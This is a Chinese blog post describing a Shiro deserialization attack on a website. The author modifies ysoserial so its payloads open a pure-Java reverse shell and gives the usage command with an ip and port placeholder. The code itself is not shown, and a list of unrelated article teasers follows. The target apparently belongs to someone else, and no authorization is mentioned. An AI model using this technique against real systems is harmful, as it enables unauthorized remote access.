ac2100 反弹shell无法粘贴_记一次突破反弹shell

背景

某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell。

测试

对着目标站点一顿测试。

发现确实存在shiro反序列化,并且存在可以利用的gadget。利用

发现确实可以执行命令,但是我们执行反弹的时候。

反弹不回来,emmm。

查看各种系命令以及分析。

发现是一个精简的Linux,经常用于docker环境的搭建。

并没有bash环境。

使用sh命令反弹结果一样,之后尝试了各种反弹的方法,一言难尽。

所以我们需要一种新的反弹方法,利用java直接创建一个socket反弹。ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload。

源码下载地址:

https://codeload.github.com/frohoff/ysoserial/zip/master

在很多java类的反序列化攻击场景中会利用到该工具。

例如:apache shiro反序列化,会使用ysoserial生成反序列化语句,再使用key加密,发送攻击payload。

如下python脚本,就是利用ysoserial生成反序列化语句,再用key加密生成cookie。

目的

各种各样的反弹shell注入bash、sh、perl、nc、python等等,都比较依赖目标系统的环境和操作系统类型等等,如果可以直接利用java创建一个socket反弹shell则可以无需关心这些环境直接反弹shell。ysoserial分析

在执行ysoserial的时候一般使用的命令是java -cp ysoserial.jar  /某个payload/ /命令/

打开源码分析对应的payload类执行过程,如CommonsCollections2。

在执行该类的时候,运行payloadrunner类的run方法,来执行本类的class文件,再加上接收的参数,跟入payloadrunner类。

这里会调用payload中的getObject方法传入要执行的命令,命令是接收的输入或者是getDefaultTestCmd(),也就是说我们如果不输入命令,他会执行以下默认命令。Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac

如果输入了命令会执行自定义命令,接下来会执行getObject方法()来生成payload,跟入对应类的getObject方法。

getObject方法中,调用Gadgets类中的createTemplatesImpl方法生成临时的java字节码文件,跟入对应的方法。

ysoserial改造

可以看到作者在命令获取处已经留下了注释。

待做:也可以做一些有趣的事情,比如注入一个纯JavaRev/BindShell来绕过幼稚的保护。TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

一般情况我们在ysoserial后面写的命令调用的是java.lang.Runtime.getRuntime().exec()方法来执行命令,写死了,此处我们可以进行改造。

在原来的代码基础上写成:

这样我们再重新打包ysoserial文件再执行命令时使用如下格式。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'rebound:ip port'

可以直接获得一个反弹shell。生成payload利用

发送。

Bingo,得到一个反弹shell。

ysoserial改造总结

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1

此方法不依赖于目标操作系统和组件,可以直接利用java创建反弹shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/535045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java三大特征 重载与重写的区别

💡涉及的知识点速通🛫 OOP的三大特征都是什么?🪂 什么是封装?🪂 什么是继承?🪂 什么是多态?🛫 关于构造器你都知道什么?🛫 关于类的源文件都需要知道什么?🛫 重载和重写都是什…

发生身份验证错误_Python MySQL8.0 错误

Python MySQL8.0 错误:authentication plugin calling_sha2_password is not supported.Python3 进行到 python3 mysql(mysql-connector),然后安装mysql-8.0.16,照着示例程序运行 python,遇到这个大大的问题:authentic…

vue 获取当前元素的父元素_react获取触发元素的属性 e.target.dataset

我的react项目中一个应用场景就是在点击一个元素的时候想要获取到这个元素的属性。代码如下&#xff1a;renderyear()>{return(<div><div data-value"年初">年初</div> </div>);}//点击标签的时候触发的函数 TagClick(e)>{console.log…

为什么要学Redis(NoSQL数据库)

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的Redis 6专栏&#xff0c;在这个系列专栏中我对B站尚硅谷的Redis教程进行一个总结&#xff0c;鉴于 看到就是学到、学到就是赚到 精神&#xff0c;这波依然是血赚 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知识点速览&…

centos常用命令_二、Docker镜像是什么?Docker常用命令

科技奇闻 关注让你我共同进步文章来源&#xff1a;CSDN作者&#xff1a;IronmanJayDocker常用命令1.帮助命令docker version #查看版本号docker info #显示Docker系统信息&#xff0c;包括镜像和容器数docker --help #查看Docker有哪些命令…

实现定时中断_无线传感器网络实验报告(二)Timer定时应用实验

实验二&#xff1a; Timer定时应用实验2.1实验目的1. 认识并了解 CC2530 定时器&#xff1b; 2. 学习定时器的基本配置与应用&#xff1b; 3. 在 ZigBee 模块上运行定时器程序。2.2实验原理根据数据手册可知 CC2530 总共有 4 个定时器&#xff0c;但是定时器 2 被系统占用&…

详析java中的关键字和权限修饰

&#x1f4a1;涉及的知识点速通&#x1f6eb; 关于关键字你都知道什么?&#x1fa82; this和super关键字&#x1fa82; instanceof关键字&#x1fa82; static关键字&#x1fa82; final关键字&#x1f6eb; 权限修饰符的作用范围知多少?各位小伙伴们大家好&#xff0c;欢迎来…

JQ 全选后获取选中的值_Filecoin如何创建账户钱包并获取FIL测试币

昨天"猩动力节点"加入了fielcoin的测试网络&#xff0c;对用户或者矿工来说&#xff0c;如何获取代币&#xff0c;创建钱包保护好自己的资产&#xff0c;每一个用户来说都很关心。下面我们一起来学习如何创建账户钱包&#xff0c;并获取FIL 测试代币。在创建账户钱包…

Redis中 字符串的常用命令

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的Redis 6专栏&#xff0c;在这个系列专栏中我对B站尚硅谷的Redis教程进行一个总结&#xff0c;鉴于 看到就是学到、学到就是赚到 精神&#xff0c;这波依然是血赚 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知识点速览&…

mac wmware 无网络_无线网络中常用的技术名词

1、LAN&#xff1a;即局域网&#xff1a;是路由和主机组成的内部局域网&#xff0c;一般为有线网络。2、WAN&#xff1a;即广域网&#xff1a;是外部一个更大的局域网。3、WLAN(Wireless LAN&#xff0c;即无线局域网)&#xff1a;前面我们说过LAN是局域网&#xff0c;其实大多…

python界面开发webview_python在webview和activity混合页面下怎么定位

展开全部 genymotion 模拟器&#xff1a;android 5.0.0 python 2.7 appium 1.4.16.1 1、app原生元素定位&#xff08;常用&#xff09; driver.find_element_by_id(“resourse-id”32313133353236313431303231363533e59b9ee7ad9431333363393662) driver.find_element_by_name(“…

androidstudio build tools安装_Android Studio4.0 安装及配置

本来打算十一月份写的&#xff0c;结果。。。就在我备注原来的文章的时候&#xff0c;硬盘坏了。。。所以重新配置环境。。。换硬盘&#xff0c;。。。坏的太突然以至于数据都没有备份。。。。建议大家在参考教程安装之前先大致浏览一遍&#xff0c;这样安装的时候就会大致知道…

Redis 五大数据类型的常用命令——列表、集合、哈希、有序集合

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的Redis 6专栏&#xff0c;在这个系列专栏中我对B站尚硅谷的Redis教程进行一个总结&#xff0c;鉴于 看到就是学到、学到就是赚到 精神&#xff0c;这波依然是血赚 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知识点速览&…

python工程师面试宝典_2019年,Python工程师必考的6个面试题,Python面试题No5

第1题&#xff1a;Python里面如何实现tuple和list的转换&#xff1f; 函数tuple(seq)可以把所有可迭代的(iterable)序列转换成一个tuple, 元素不变&#xff0c;排序也不变 list转为tuple&#xff1a; temp_list [1,2,3,4,5] 将temp_list进行强制转换&#xff1a;tuple(temp_li…

aop注解配置切点 spring_springboot aop 自定义注解方式实现一套完善的日志记录

一&#xff1a;功能简介本文主要记录如何使用aop切面的方式来实现日志记录功能。主要记录的信息有: 操作人&#xff0c;方法名&#xff0c;参数&#xff0c;运行时间&#xff0c;操作类型(增删改查)&#xff0c;详细描述&#xff0c;返回值。二&#xff1a;项目结构图如果想学习…

抽象类、接口的区别和相似点

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的《Java核心技术 卷Ⅰ》笔记专栏&#xff0c;在这个系列专栏中我将记录浅学这本书所得收获&#xff0c;鉴于 看到就是学到、学到就是赚到 精神&#xff0c;这波简直就是血赚 &#x1f4a1;涉及的知识点速通&#x1f6eb; abs…

c标签判断true false jsp_Java学习知识点:小白如何掌握JSP技术?

今天千锋广州小编就给大家分享零基础如何掌握JSP技术&#xff0c;下面一起来看看吧!一、Java初级开发之jsp概述1.关于jspJavaServer Pages简称jsp&#xff0c;从“server”这个词可以看出&#xff0c;这其实也是一门java服务端技术&#xff0c;其实可以简单的把jsp认为是servle…

python语言保留字的特点_python保留字及其说明

原博文 2019-07-14 22:05 − 保留字 说 明 and 用于表达式运算&#xff0c;逻辑与操作 as 用于类型转换 assert 断言&#xff0c;用于判断变量或条件表达式的值是否为真 break 中断循环语句的执行 class 用于定义类 continue 继续执行下一次循环 ...011647 相关推荐 2019-12-19…

使用Java操作Redis的两种方式Jedis、RedisTemplate

各位小伙伴们大家好&#xff0c;欢迎来到这个小扎扎的Redis 6专栏&#xff0c;在这个系列专栏中我对B站黑马的Redis教程进行一个总结&#xff0c;鉴于 看到就是学到、学到就是赚到 精神&#xff0c;这波依然是血赚 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知识点速览&#…

python提取数据库数据_Python如何读取MySQL数据库表数据

本文实例为大家分享了Python读取MySQL数据库表数据的具体代码&#xff0c;供大家参考&#xff0c;具体内容如下 环境&#xff1a;Python 3.6 ,Window 64bit 目的&#xff1a;从MySQL数据库读取目标表数据&#xff0c;并处理 代码&#xff1a; # -*- coding: utf-8 -*- import p…